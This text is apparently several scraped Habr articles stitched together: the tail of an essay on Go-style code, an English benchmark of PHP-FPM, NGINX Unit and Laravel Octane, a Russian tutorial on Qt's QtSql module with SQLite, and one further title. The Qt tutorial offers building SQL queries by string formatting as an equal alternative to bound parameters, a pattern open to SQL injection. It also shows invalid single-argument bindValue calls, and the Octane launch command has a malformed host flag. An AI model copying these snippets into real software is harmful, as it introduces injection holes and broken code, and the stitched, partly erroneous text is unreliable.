Надеюсь данной статьей мне удалось хотя бы немного поставить под сомнение типичный GO-style написания бизнес логики. Кроме того, я постарался показать и альтернативу этому подходу. В любом случае решать, как писать код, вам, ну что ж, удачи в этом нелегком деле! | https://habr.com/ru/post/524232/ | null | ru | null |
# Comparing PHP-FPM, NGINX Unit, and Laravel Octane
This article compares the performance of several different web servers for a Laravel-based application. What follows is a lot of graphs, configuration settings, and my personal conclusions which do not pretend to represent universal truth in any way.
I myself have been working with NGINX Unit (+ Lumen) for a while, but I still see PHP-FPM being used in new projects quite often. When I suggest switching to NGINX Unit, a question naturally ensues, "How exactly is it better?". A search for relevant articles on the Internet yields few results: mostly quite old and uninformative articles on obscure websites and a [2019 article on Habr](https://habr.com/ru/post/431818/) that does a similar comparison of several web servers for a Symfony-based application. But, first, PHP and NGINX Unit have already gone far ahead since its publication; second, I was interested in performance for Laravel and Lumen. So, I cobbled together a simple test bench with several web servers and did some load testing, the results of which I now share.
### About the testing bench
**Test bench stats:**
* CPU: AMD Ryzen 9 5900X 12-Core
* RAM: DDR4 4000 MHz 32GiB x2
* SSD: Samsung SSD 980 PRO 500GB nvme
* OS: xubuntu 20.04
**Testing applications:**
* Laravel 8.69.0
Laravel is one of the most popular frameworks for PHP. Out of the box, it contains lots of functionality that solves almost any business needs in a reasonable time. Meanwhile, it is flexible enough: almost any task can be implemented in many ways, starting with designing the application itself (although there is a minus here: some ways of solving a task can cause lots of problems ranging from the need to support abysmal code to performance declines and memory leaks).
* Lumen 8.3.1
A lightweight version of Laravel, intended mainly for API implementation. In terms of functionality, it kept the most important components of Laravel, trimming what's not critically important (for example, facades). At the same time, it performs better than Laravel but doesn't solve all tasks equally well. As it usually happens, there is a tool of choice for each specific task. In some tasks, Laravel does better, in others, it's Lumen, while for some PHP is not an option at all.
**Web servers:**
* Php-fpm
Standard PHP process manager. Each request requires framework initialization.
* NGINX Unit
An application web server developed by the nginx team. Each request requires framework initialization.
* Laravel Octane
Strictly speaking, this is not a web server but an application management package from the Laravel team. Under the hood, it uses the Swoole or the RoadRunner web server. The framework is initialized with the first request, then stored in memory and does not reinitialize at subsequent requests.
**PHP version in all builds:** 8.0.12
**Testing tools:**
* [Yandex.Tank](https://yandex.ru/dev/tank/)for load testing. The most recent Docker image available is used.
* [Telegraf](https://www.influxdata.com/time-series-platform/telegraf/) (included in the Yandex.Tank toolset) to collect resource usage statistics for applications.
* [Overload](https://overload.yandex.net) (also from the Yandex.Tank kit) for plotting.
### Configuration
**Applications**
All applications have a standard configuration. Error logging is disabled. The cache is collected at the first access only for Laravel/Lumen components (such as the router, etc.), and there is no cache for controllers. The application has a single endpoint that processes the request when accessed to return a built-in JSON response containing a random number, a configuration setting, a static string, and request headers.
Example service response:
```
{
"app_env": "prod",
"type": "unit-lumen",
"number": 1527706674,
"headers": {
"accept-language": [
"ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7"
],
"accept-encoding": [
"gzip, deflate"
],
"accept": [
"text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9"
],
"user-agent": [
"Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/93.0.4577.99 Safari\/537.36"
],
"upgrade-insecure-requests": [
"1"
],
"connection": [
"keep-alive"
],
"host": [
"10.100.9.3"
],
"content-length": [
""
],
"content-type": [
""
]
}
}
```
All applications run in Docker containers. All applications use a custom php.ini with the following settings:
```
upload_max_filesize = 50M
post_max_size = 50M
opcache.enable=1
opcache.interned_strings_buffer=64
opcache.max_accelerated_files=100000
opcache.memory_consumption=128
opcache.save_comments=1
opcache.revalidate_freq=0
opcache.validate_timestamps=0
opcache.max_wasted_percentage=10
apc.enable_cli=1
memory_limit=256M
```
Individual changes, if any, are noted for each application.
To test PHP-FPM, an additional nginx container is used since PHP-FPM works via the FastCGI protocol. I used the official nginx:1.19.6-alpine image.
Nginx Configurationnginx.conf
```
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;
events {
worker_connections 2048;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;
sendfile on;
tcp_nopush on;
resolver_timeout 10s;
server_tokens off;
keepalive_timeout 3;
reset_timedout_connection on;
client_body_timeout 2;
send_timeout 1;
server_names_hash_bucket_size 128;
client_max_body_size 32m;
proxy_buffers 4 512k;
proxy_buffer_size 256k;
proxy_busy_buffers_size 512k;
gzip on;
gzip_comp_level 9;
gzip_disable "msie6";
gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript application/javascript image/svg+xml;
include /etc/nginx/conf.d/*.conf;
}
```
default.conf
```
server {
listen 80;
server_name localhost;
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
location / {
try_files $uri /index.php$is_args$args;
}
location ~ ^/index\.php(/|$) {
fastcgi_pass 10.100.9.100:9000;
fastcgi_split_path_info ^(.+\.php)(/.*)$;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME /var/www/public/$fastcgi_script_name;
}
}
```
**Guinea pigs a.k.a. containers I've built**
1. **nginx + PHP-FPM + Laravel**
Configuration**PHP-FPM**: the official php:8.0.12-fpm image is used.
Changes in php.ini:
```
memory_limit=512M
pm = static
pm.max_children = 100
pm.max_requests = 1000
```
Worth mentioning right away: initially I planned that each web server would have 16 workers per the number of logical cores (more on this below), but some problems arose with PHP-FPM during testing, so I had to enable more workers.
2. **nginx + PHP-FPM + Lumen**
The configuration is completely identical to nginx + PHP-FPM + Laravel
**3. NGINX Unit + Laravel**
It so happened that a little earlier I had already built a [container with NGINX Unit for PHP8](https://hub.docker.com/r/strayker/nginx-unit-php8.0) since there were no ready-made containers that met my production tasks. Without much hesitation, I used the same container as the basis for the test, slightly modifying it. You can see that the build is based on ubuntu:hirsute; admittedly, I am not on such friendly terms with apline, and there was no time to deal with it then. I needed a build here and now, and I had no plans for it to reach production in its original form. Although, given the test results, it may now happen.
ConfigurationNGINX Unit config:
```
{
"listeners": {
"*:80": {
"pass": "routes"
}
},
"routes": [
{
"match": {
"uri": [
"*.manifest",
"*.appcache",
"*.html",
"*.json",
"*.rss",
"*.atom",
"*.jpg",
"*.jpeg",
"*.gif",
"*.png",
"*.ico",
"*.cur",
"*.gz",
"*.svg",
"*.svgz",
"*.mp4",
"*.ogg",
"*.ogv",
"*.webm",
"*.htc",
"*.css",
"*.js",
"*.ttf",
"*.ttc",
"*.otf",
"*.eot",
"*.woff",
"*.woff2",
"/robot.txt"
]
},
"action": {
"share": "/var/www/public"
}
},
{
"action": {
"pass": "applications/php"
}
}
],
"applications": {
"php": {
"type": "php 8.0",
"limits": {
"requests": 1000,
"timeout": 60
},
"processes": {
"max": 16,
"spare": 16,
"idle_timeout": 30
},
"user": "www-data",
"group": "www-data",
"working_directory": "/var/www/",
"root": "/var/www/public",
"script": "index.php",
"index": "index.php"
}
},
"access_log": "/dev/stdout"
}
```
4. **NGINX Unit + Lumen**
The configuration is completely identical to NGINX Unit + Laravel
5. **Laravel Octane (Swoole) + Laravel**
I was prompted to add Octane to the application test suite by a [message from Taylor (creator of Laravel) on Twitter](https://twitter.com/taylorotwell/status/1441101127496323080). I was confused by his statements of Octane being faster than Lumen and a slight increase in speed. In this regard, I decided to conjure a container with Swoole-based Laravel Octane for the tests.
Besides Swoole, Laravel Octane supports RoadRunner; initially, I planned to test it as well. But strangely enough, I could not get the latter to work normally even with crutches inside Docker (to be precise, I succeeded, but it couldn't make it through auto-deploy, only starting manually), so I axed it. However, Swoole was enough for my purposes. In addition, Laravel Octane + Swoole adds [additional tools](https://laravel.demiart.ru/laravel-octane/) that may be useful in solving a number of my tasks.
Configuration.env
```
OCTANE_SERVER=swoole
```
All other settings are passed directly to the server startup command:
```
php artisan octane:start --port=80 --workers=16 --max-requests=1000 --host=host=host.docker.internal
```
**Yandex.Tank**
For testing, I decided to use two different load profiles reflecting two situations: "standard" for daily frequent loads, "stress" for understanding the limits of system performance.
"Standard" load profileThe goal of this test is to understand how effectively the application will cope with the regular loads that I meet all the time.
```
phantom:
address: 10.100.9.101
uris:
- /
load_profile:
load_type: rps
schedule: step(5, 100, 5, 10s) const(100, 2m30s)
timeout: 2s
console:
enabled: true
telegraf:
config: 'monitoring-nginx-unit-laravel.xml'
enabled: true
kill_old: false
package: yandextank.plugins.Telegraf
ssh_timeout: 30s
overload:
enabled: true
package: yandextank.plugins.DataUploader
token_file: 'overload_token.txt'
```
"Stress" load profileThe idea of the test is to determine what each particular web service is capable of and how many users it can reliably sustain without failures. Load profile
```
phantom:
address: 10.100.9.101
uris:
- /
load_profile:
load_type: rps # schedule load by defining requests per second
schedule: line(1, 1000, 10m)
timeout: 2s
console:
enabled: true
telegraf:
config: 'monitoring-nginx-unit-laravel.xml'
enabled: true
kill_old: false
package: yandextank.plugins.Telegraf
ssh_timeout: 30s
overload:
enabled: true
package: yandextank.plugins.DataUploader
token_file: 'overload_token.txt'
```
The timeout of 2 seconds was not chosen randomly. First, in API applications, the endpoint taking too long to respond is most often fatal for the application's performance (I regularly use an API gateway within the microservice architecture, always rigidly setting the request timeouts: depending on the task in hand, from 1 to 3 seconds, but no more. But at the same time, if the endpoint implements really heavyweight logic, I always extract such things into jobs). Second, when testing PHP-FPM with a default timeout of 11 seconds, Yandex.Tank didn't have enough load capacity because it waited too long for a response (more on this later).
**Telegraf**
Everything is simple here; I created a minimal configuration to collect data on resource consumption.
Configuration
```
```
### Load testing and results
For testing, all participants were strictly limited by the number of logical processor cores:
* Container with the application: 16 cores
* Nginx (for PHP-FPM tests): 2 cores
* Yandex.Tank: 4 cores (2 cores weren't enough to run with PHP-FPM even with a reduced timeout)
* The extremely important and valuable process of forwarding /dev/zero to /dev/null (questions are unnecessary, it's my personal crutch): strictly 1 fully loaded kernel
* All OS processes: the remaining 1 core, actually free, in reserve
All applications were cold-started, i.e. the endpoint was not pre-heated and the cache was not collected before the test was started.
Next, the testing graphs. If there is no error graph, there were no errors.
I did not add the memory load graph to avoid bloating the post indefinitely. In synthetic tests, memory consumption is almost zero, and the difference is minimal. For approximately the same reasons, the containers had no restrictions on memory usage, since there is always enough of it.
**"Standard" load profile**
**1. nginx + PHP-FPM + Laravel**
> [Detailed report](https://overload.yandex.net/479324)
>
>
Server response timeCPU load**2. nginx + PHP-FPM + Lumen**
> [Detailed report](https://overload.yandex.net/479325)
>
>
Server response timeCPU load**3. NGINX Unit + Laravel**
> [Detailed report](https://overload.yandex.net/479330)
>
>
Server response timeCPU load**4. NGINX Unit + Lumen**
> [Detailed report](https://overload.yandex.net/479332)
>
>
Server response timeCPU load**5. Octane (Swoole) + Laravel**
> [Detailed report](https://overload.yandex.net/479339)
>
>
Server response timeCPU load**Response time percentiles (ms)**
| | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| | 99% | 98% | 95% | 90% | 85% | 80% | 75% | 50% | HTTP OK % |
| nginx + php-fpm + laravel | 60 | 59 | 56 | 52 | 48 | 46 | 45 | 44 | 100 |
| nginx + php-fpm + lumen | 18 | 18 | 17 | 16 | 16 | 15 | 15 | 14 | 100 |
| nginx-unit + laravel | 7.6 | 7 | 6.5 | 5.8 | 5.3 | 5.2 | 5.2 | 4.059 | 100 |
| nginx-unit + lumen | 1.930 | 1.870 | 1.640 | 1.520 | 1.460 | 1.410 | 1.320 | 1.070 | 100 |
| octane (swoole) + laravel | 1.230 | 1.200 | 1.160 | 1.110 | 1.050 | 1.010 | 0.980 | 0.800 | 100 |
**"Stress" load profile**
**1. nginx + PHP-FPM + Laravel**
> [Detailed report](https://overload.yandex.net/479202)
>
>
Server response timeCPU loadError summaryTesting details of this buildI had to test it several times. The first time, PHP-FPM was allocated 16 workers and nginx had default settings, so this whole assembly collapsed into a black hole and at 120 rps started yelling about errors and insufficient number of workers (both at the same time). After that, I brought nginx to an adequate configuration, and PHP was allocated 100 and 250 workers respectively (2 tests, it eventually stopped at 100 because there were not enough logical cores for 250 of them). Since I tested this load profile first, this configuration was later used for all other tests. Also, I came across the fact that at around 120 rps PHP-FPM abruptly stops coping with loads, requests go hanging, and Yandex.Tank with a default request timeout of 11 seconds starts collapsing because it simply does not have enough resources to provide for this number of requests. Accordingly, I allocated 4 cores for Tank (originally, there were 2) and lowered the timeout to 2 seconds. The graph clearly shows this 2-second cutoff where PHP-FPM goes sideways. But I'll get back to the conclusions later.
**2. nginx + PHP-FPM + Lumen**
> [Detailed report](https://overload.yandex.net/479210)
>
>
Server response timeCPU loadError summary**3. NGINX Unit + Laravel**
> [Detailed report](https://overload.yandex.net/479184)
>
>
Server response timeCPU load**4. NGINX Unit + Lumen**
> [Detailed report](https://overload.yandex.net/479207)
>
>
Server response timeCPU loadError summaryDuring testing, one http code 500 error arose from the application itself. Due to logs being disabled, it is impossible to understand exactly what happened, and it was no longer reproduced during later runs. However, considering that for 300299 successful requests only one turned erroneous, I thought this could be safely ignored.
**5. Octane (Swoole) + Laravel**
> [Detailed report](https://overload.yandex.net/479204)
>
>
Server response timeCPU loadError summary**Response time percentiles (ms)**
**\*** An asterisk in the table will mark PHP-FPM builds that could not bear the load at all. They will indicate the rps cutoff where they began to collapse. Respectively, the percentiles are given under this cutoff. I decided to add them to the table anyway, even in this form.
The Laravel Octane build is listed twice. It has full stats indicating where the server could not withstand the load, and further data up to the point of collapse. As with PHP-FPM, an asterisk indicates the threshold rps.
| | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| | 99% | 98% | 95% | 90% | 85% | 80% | 75% | 50% | HTTP OK % |
| \* nginx + PHP-FPM + Laravel
**~120 rps** | 62 | 59 | 55 | 52 | 49 | 47 | 45 | 43 | - |
| \* nginx + PHP-FPM + Lumen
**~400 rps** | 34 | 25 | 19 | 17 | 16 | 16 | 15 | 14 | - |
| NGINX Unit + Laravel | 6.6 | 6 | 5.5 | 5.2 | 4.96 | 4.7 | 4.5 | 3.79 | 100 |
| NGINX Unit + Lumen | 1.77 | 1.56 | 1.4 | 1.25 | 1.17 | 1.13 | 1.08 | 0.91 | 100 |
| Octane (Swoole) + Laravel | 18 | 8.3 | 4.85 | 3.88 | 3.45 | 3.1 | 2.85 | 1.87 | 82.807 |
| \* Octane (Swoole) + Laravel
**~600 rps** | 3.23 | 3.01 | 2.85 | 2.55 | 2.2 | 2.029 | 1.92 | 0.78 | - |
### Conclusions
The results of the testing, I must admit, quite surprised me. Of course, I expected PHP-FPM to be slower than NGINX Unit, but not to such a degree: the difference in response generation time is almost 10 times. I was also surprised to see PHP-FPM being the only one to choke completely during the stress test. Perhaps this is due to the fact that I am not an expert in nginx-PHP configuration, but the rest of the servers running on the same config passed the stress test, albeit with losses. As a result, I concluded that my switch to NGINX Unit a long time ago was for the better.
As for the performance comparison: if we put aside PHP-FPM, NGINX Unit is the only server that passed the stress test without losses, although I had high hopes for Octane. Consequently, I will not take PHP-FPM into account any further.
Bursts in execution time for the 100% percentile can be observed in both NGINX Unit and Octane + Swoole. In both cases, they aren't catastrophic, and the reason can be that the testing was done in an environment that, putting it mildly, wasn't up to this task. Again, all the tests were purely synthetic; in real conditions, when the application will, among other things, run business logic, access the database and churn the cache, the situation will be different.
Technically, Octane will be faster in real conditions due to application state and all connections being preserved. In addition, Swoole has its own high-performance cache implementations and some other features to speed up heavy business logic. But there is also a price: first, everything rests upon the fact that Octane needs more memory (I understand that the price of RAM in data centers is not high for large businesses, but it's worth considering); second, what's more importantly, Octane is extremely unfriendly to bad code; it simply doesn't forgive mistakes. There is even a [section on the official website with implementation examples](https://laravel.com/docs/8.x/octane#dependency-injection-and-octane) that work on other servers but cause the application to fail on Octane.
On the other hand, NGINX Unit proved to be more stable under high loads. Meanwhile, Unit in conjunction with Lumen yields almost no ground to Octane in synthetic tests, so I doubted Taylor's words for a reason. Lumen will still live and continue to surprise (as for me, I did not expect it to be so fast compared to Laravel).
As a result, I concluded for myself that NGINX Unit is the go-to choice for an extremely stable service that will go on even where others can't survive. And for it to run really well, it still makes sense to use Lumen, API-wise. However, if you need a superfast service to run complex business logic on the fly, the choice is Octane - if resources allow (factoring in both the memory considerations and the fact that when high loads are expected, the load balancer and horizontal scaling should be taken care of well in advance). In this case, Octane is the proverbial "weapon of mass destruction" that is not to be used indiscriminately, in which Taylor is absolutely right. For each task, its own tool.
That's it; I hope this will help you choose a tool that solves your problems.
*Thanks for translate* [*@aliensstolemycow*](https://habr.com/en/users/aliensstolemycow/) *and the rest of the NGINX Unit team* | https://habr.com/ru/post/646397/ | null | en | null |
# Qt и SQLite и вообще, программирование БД в Qt
Добрый день.
Ниже пойдет речь о том, как использовать [SQLite](http://ru.wikipedia.org/wiki/Sqlite) в [Qt](http://ru.wikipedia.org/wiki/Qt). Автор постарался как можно подробнее рассматривать программирование баз данных в Qt.
Об этих двух замечательных продуктах можно прочитать следуя приведенным выше ссылкам, а мы будем конкретно рассматривать программирование БД в Qt, в частности, на примере SQLite. Скажу только, что SQLite несколько отличается от «обычных» баз данных, таких как MySQL тем, что «не обладает» клиент-серверной архитектурой. То есть движок БД не является отдельно работающим процессом, с которым взаимодействует программа. SQLite представляет собой библиотеку, с которой компонуется ваша программа и, таким образом, движок становится составной частью программы. То есть представьте вы решили сохранять все данные, с которыми «сталкивается» ваша программа в обычный файл. В один прекрасный день вы решаете сохранять данные в файле, но организовав это с «реляционной» точки зрения. После этого вы поняли, что новая структура файла должна «распознаваться особым образом». С этого, как минимум, следует, что вам нужно предоставить некоторый API, обеспечивающий связь между этим файлом данных с приложением. В общем, следуя логической постановке приведенного сценария у вас рождается система БД, не требующая сервера БД и собственно, клиента. Получается достаточно быстрая по сравнению с «клиент-серверной» БД система, и сама программа упрощается.
Я состою в дружеских отношениях с Qt и недавно мне понадобилось ее БД функциональность. С MySQL я тоже в достаточно дружеских отношениях и попытался использовать Qt с MySQL в программе, в то время разрабатываемой мной. Имея нехватку времени и нервов, чтоб «связать» MySQL с Qt, решил воспользоваться SQLite, для чего в Qt есть, так сказать, встроенная поддержка, то есть ничего нового установить/конфигурировать не надо было (это не относиться к случаю, если ваш Qt собран с поддержкой «считанных» модулей, без подключения модуля QtSql). И еще, если мне придется установить программу в другой компьютер, я не буду «вынужден» установить сервер MySQL и т.д. (спорная тема — знаю).
#### FIY
На данный момент я использую программу [SQLiteManager](http://www.sqlabs.net/sqlitemanager.php) для создания БД, таблиц и т.д., использую недавно, но программа сразу понравилась. В моей «рабочей лошадке» установлен(a?) [Qt Windows SDK](http://qt.nokia.com/downloads/sdk-windows-cpp) и я использую QtCreator, сразу скажу — просто блеск (*не ИМХО, и вправду отличная IDE*).
#### И так, Qt и базы данных
Как уже неявно упомянулось выше, в Qt есть отдельный модуль, предоставляющий удобный «сервис» использования БД — **QtSql**. Если у вас есть опыт работы с Qt, то о файле .pro вам известно, если нет — [познакомьтесь](http://doc.qt.nokia.com/latest/qmake-project-files.html). Помните только, что нужно добавить следующую строку в .pro файл:
```
QT += sql
```
Это, чтоб использовать модуль QtSql, а для работы с ее классами, нужно включать одноименный заголовок.
```
#include
```
В книгах по Qt говорится о трех уровнях модуля QtSql:
1. Уровень драйверов
2. Программный уровень
3. Уровень пользовательского интерфейса
##### Уровень драйверов
К уровню драйверов относятся классы для получения данных на физическом уровне, такие, как:
* QSqlDriver
* QSqlDriverCreator
* QSqlDriverCreatorBase,
* QSqlDriverPlugin
* QSqlResult
*QSqlDriver* является абстрактным базовым классом, предназначенный для доступа к специфичным БД. Важно, что класс не должен быть использован «прямо», взамен нужно/можно воспользоваться *QSqlDatabase*. Хотя, если вы хотите создать свой собственный драйвер SQL, то можете наследовать от *QSqlDriver* и реализовать чисто виртуальные, и нужные вам виртуальные функции.
*QSqlDriverCreator* — шаблонный класс, предоставляющий [фабрику](http://ru.wikipedia.org/wiki/Factory) SQL драйвера для специфичного типа драйвера. Шаблонный параметр должен быть подклассом *QSqlDriver*.
*QSqlCreatorBase* — базовый класс для фабрик SQL драйверов, чтобы возвращать экземпляр специфичного поскласса класса *QSqlDriver*, который вы хотите предоставить, нужно «перефразировать» метод *createObject()*.
QSqlDatabase несет ответственность за загрузку и управление плагинов драйверов баз данных. Когда база данных добавлена (это делается функцией *QSqlDatabase::addDatabase()*), необходимый плагин драйвера загружается (используя *QSqlDriverPlugin*). QSqlDriverPlugin предоставляет собой абстрактный базовый класс для пользовательских *QSqlDriver* плагинов.
*QSqlResult* сам говорит о себе (как и все Qt-шные классы), этот класс предоставляет абстрактный интерфейс для доступа к данным специфичных БД. С практической точки зрения мы будем использовать *QSqlQuery* вместо *QSqlResult*, поскольку *QSqlQuery* предоставляет обертку («обобщенную») для БД-специфичных реализации *QSqlResult*.
Так, поскольку уровень драйверов, как оказалось, актуально использовать при создании собственного драйвера, то привожу пример кода (для наиболее заинтересованных), который может быть использован как каркасс для драйвера:
```
class XyzResult : public QSqlResult
{
public:
XyzResult(const QSqlDriver *driver)
: QSqlResult(driver) {}
~XyzResult() {}
protected:
QVariant data(int /* index */) { return QVariant(); }
bool isNull(int /* index */) { return false; }
bool reset(const QString & /* query */) { return false; }
bool fetch(int /* index */) { return false; }
bool fetchFirst() { return false; }
bool fetchLast() { return false; }
int size() { return 0; }
int numRowsAffected() { return 0; }
QSqlRecord record() const { return QSqlRecord(); }
};
class XyzDriver : public QSqlDriver
{
public:
XyzDriver() {}
~XyzDriver() {}
bool hasFeature(DriverFeature /* feature */) const { return false; }
bool open(const QString & /* db */, const QString & /* user */,
const QString & /* password */, const QString & /* host */,
int /* port */, const QString & /* options */)
{ return false; }
void close() {}
QSqlResult *createResult() const { return new XyzResult(this); }
};
```
##### Программный уровень
Для соединения с базой данных прежде всего нужно активизировать драйвер используя статический метод *QSqlDatabase::addDatabase()*. Метод получает строку как аргумент, обозначающий [идентификатор драйвер СУБД](http://doc.qt.nokia.com/stable/sql-driver.html). Нам понадобится «QSQLITE».
```
QSqlDatabase sdb = QSqlDatabase::addDatabase("QSQLITE");
sdb.setDatabaseName("db_name.sqlite");
if (!sdb.open()) {
//....
}
```
У статической функции addDatabase есть перегруженный «брат», получающий не имя драйвера, а сам драйвер(*QSqlDriver*\*).
Соединение осуществляется методом open(). Класс *QSqlDatabase* представляет соединение с БД. Соединение предоставляет доступ к БД через поддерживаемый драйвер БД. Важно, что можно иметь несколько соединений к одной БД.
Если при соединении (метод *open()*) возникла ошибка, то получить информацию об ошибке можно через метод *QSqlDatabase::lastError()* (возвращает *QSqlError*).
```
if (!sdb.open()) {
qDebug() << sdb.lastError().text();
}
```
Рассмотрим как Qt позволяет исполнять команды SQL. Для этого можно воспользоваться классом *QSqlQuery*. Класс может быть использована не только для исполнения [DML (Data Manipulation Language)](http://ru.wikipedia.org/wiki/Data_Manipulation_Language) выражений, таких, как **SELECT**, **INSERT**, **UPDATE** и **DELETE**, но и [DDL (Data Definition Language)](http://ru.wikipedia.org/wiki/DDL) выражений, таких, как **CREATE TABLE**. Обратите внимание, что может быть выполнена и БД-специфичная команда, не ялвяющийся стандартом SQL (например, для PSQL — «SET DATESTYLE=ISO»).
Удачно выполненные запросы устанавливают состояние запроса в «активный», так, *isActive()* возвратит *true*, в противоположном случае состояние устанавливается в неактивное. Запросы оформляются в виде обычной строки, которая передается в конструктор или в метод *QSqlQuery::exec()*. В первом случае, при передаче конструктору, запуск команды будет производиться автоматически (при конструировании объекта).
Что очень интересно, так это возможность навигации, предоставляемый *QSqlQuery*. Например, после запроса *SELECT* можно перемещаться по собранным данным при помощи методов *next(), previous(), first(), last()* и *seek()*.
```
QSqlQuery query("SELECT country FROM artist");
while (query.next()) {
QString country = query.value(0).toString();
do_something(country);
}
```
Метод *next()* позволяет перемащатся на следующую строку данных, а вызов *previous()* на предыдущую строку, соответственно. *first(), last()* извлекают, соответственно, первую запись из результата. *seek()* получает целочисленный индекс, извлекая запись из результата по полученному индексу и «позиционирует запрос» на извлеченную запись. Проверить размер, вернее количество строк данных (результата) можно методом *size()*. Важно помнить, что первая запись находится в позиции 0, запрос должен быть в активном состоянии, а *isSelect*() возвращать *true* (это происходит, если последним запросом был *SELECT*) перед вызовом метода seek(). О методе *seek*() более подробно советую прочитать [в официальной документации](http://doc.qt.nokia.com/latest/qsqlquery.html#seek).
Выше упомянули, что если передавать строку запроса в конструктор класса *QSqlQuery*, то запрос выполнится при создании объекта — при конструировании. Используя метод *exec*() можно, так сказать, следить за временем выполнения запросов. Конструкция
```
QSqlQuery query("SELECT country FROM artist");
```
может быть представлена также так:
```
QSqlQuery query;
query.exec("SELECT country FROM artist");
```
Так, *exec*() получает запрос в виде *QString*. Выполняя запрос, в случае удачи этот метод возвращает true и устанавливает состояние в активное, в противоположном случае все «противоположное» указанным операциям. Конечно, следует еще и помнить, что строка запроса должна подчиняться синтаксическим правилам запрашиваемой БД (в частности, стандарту SQL).
Что интересно, так после исполнения, запрос позиционируется на инвалидный(ую?) запись, то есть для адекватного использования результатов, необходимо воспользоваться, скажем, методом *next*().
У метода *exec*() перегруженная альтернатива, не получающая никаких аргументов. Вызов этого варианта *exec*() исполняет до этого подготовленный запрос. Обратите внимание — «подготовленный». Для этого предназначен метод *prepare*(), который возвращает *true* в случае удачной подготовки запроса.
Важность или, можно сказать, уникальность метода в том, что запрос может содержать «заполнители» для связывания со значениями используая *bindValue*().
```
QSqlQuery my_query;
my_query.prepare("INSERT INTO my_table (number, address, age)"
"VALUES (:number, :address, :age);");
my_query.bindValue(":number", "14");
my_query.bindValue(":address", "hello world str.");
my_query.bindValue(":age", "37");
```
Еще можно использовать вариант безымянных параметров:
```
QSqlQuery my_query;
my_query.prepare("INSERT INTO my_table (number, address, age)"
"VALUES (?, ?, ?);");
my_query.bindValue("14");
my_query.bindValue("hello world str.");
my_query.bindValue("37");
```
И наконец, можно просто использовать подставляемые аргументы, которые предоставляет QString:
```
QSqlQuery my_query;
my_query.prepare(
QString("INSERT INTO my_table (number, address, age) VALUES (%1, '%2', %3);")
.arg("14").arg("hello world str.").arg("37")
);
```
Компилируемый (copy-paste-to-your-ide) пример:
```
#include
#include
int main(int argc, char \*argv[])
{
QCoreApplication app(argc, argv);
QSqlDatabase dbase = QSqlDatabase::addDatabase("QSQLITE");
dbase.setDatabaseName("my\_db.sqlite");
if (!dbase.open()) {
qDebug() << "Что-то пошло не так!";
return -1;
}
QSqlQuery a\_query;
// DDL query
QString str = "CREATE TABLE my\_table ("
"number integer PRIMARY KEY NOT NULL, "
"address VARCHAR(255), "
"age integer"
");";
bool b = a\_query.exec(str);
if (!b) {
qDebug() << "Вроде не удается создать таблицу, провертье карманы!";
}
// DML
QString str\_insert = "INSERT INTO my\_table(number, address, age) "
"VALUES (%1, '%2', %3);";
str = str\_insert.arg("14")
.arg("hello world str.")
.arg("37");
b = a\_query.exec(str);
if (!b) {
qDebug() << "Кажется данные не вставляются, проверьте дверь, может она закрыта?";
}
//.....
if (!a\_query.exec("SELECT \* FROM my\_table")) {
qDebug() << "Даже селект не получается, я пас.";
return -2;
}
QSqlRecord rec = a\_query.record();
int number = 0,
age = 0;
QString address = "";
while (a\_query.next()) {
number = a\_query.value(rec.indexOf("number")).toInt();
age = a\_query.value(rec.indexOf("age")).toInt();
address = a\_query.value(rec.indexOf("address")).toString();
qDebug() << "number is " << number
<< ". age is " << age
<< ". address" << address;
}
return app.exec();
}
```
Для получения результата запроса следует вызвать метод *QSqlQuery::value()*, в котором необходимо передать номер столбца, для чего в примере воспользовались методом *record*(). Этот метод возвращает объект класса *QSqlRecord*, который содержит информацию, относящуюся к запросу *SELECT*. С помощью вызова *QSqlRecord::indexOf()* получаем индекс столбца.
Метод *value()* возвращает значения типа *QVariant* (класс, объекты которого могут содержать в себе значения разных типов), поэтому вы и преобразовали полученное значение, воспользовавшись методами *QVariant::toInt()* и *QVariant::toString()*.
##### Уровень пользовательского интерфейса
Модуль *QtSql* поддерживает концепцию «Интервью», предоставляя ряд моделей для использования их в представлениях. Чтобы хорошенько познакомиться с этой концепцией — [загляните сюда](http://doc.qt.nokia.com/latest/model-view-programming.html).
В качестве примера, класс *QSqlTableModel* позволяет отображать данные в табличной и иерархической форме. Как утверждается в литературе, интервью — самый простой способ отобразить данные таблицы, здесь не потребуется цикла для прохождения по строкам таблицы. Вот малюсенький пример:
```
#include
#include
#include
int main(int argc, char \*argv[])
{
QCoreApplication app(argc, argv);
QSqlDatabase dbase = QSqlDatabase::addDatabase("QSQLITE");
dbase.setDatabaseName("my\_db.sqlite");
if (!dbase.open()) {
qDebug() << "Что-то не так с соединением!";
return -1;
}
QTableView view;
QSqlTableModel model;
model.setTable("my\_table");
model.select();
model.setEditStrategy(QSqlTableModel::OnFieldChange);
view.setModel(&model);
view.show();
return app.exec();
}
```
После соединения создается объект табличного представления *QTableView* и объект табличной модели *QSqlTableModel*. Методом *setTable*() устанавливается актуальная база в модели, а вызов *select*() производит заполнение данными.
Класс *QSqlTableModel* предоставляет следующие стратегии редактирования (устанавливаемые с помощью *setEditStrategy*()):
* **OnRowChange** — производит запись данных, как только пользователь перейдет к другой строке таблицы.
* **OnFieldChange** — производит запись после того, как пользователь перейдет к другой ячейке таблицы.
* **OnManualSubmit** — записывает данные по вызову слота *submitAll*(). Если вызывается слот *revertAll*(), то данные возвращаются в исходное состояние.
*Думаю, пост подошел к послесловию, и мне просто осталось надеется, что кто-то найдет здесь то, что искал, а кому-то информация понадобится «на потом».* | https://habr.com/ru/post/128836/ | null | ru | null |
# Насколько сложно написать свою операционную систему?
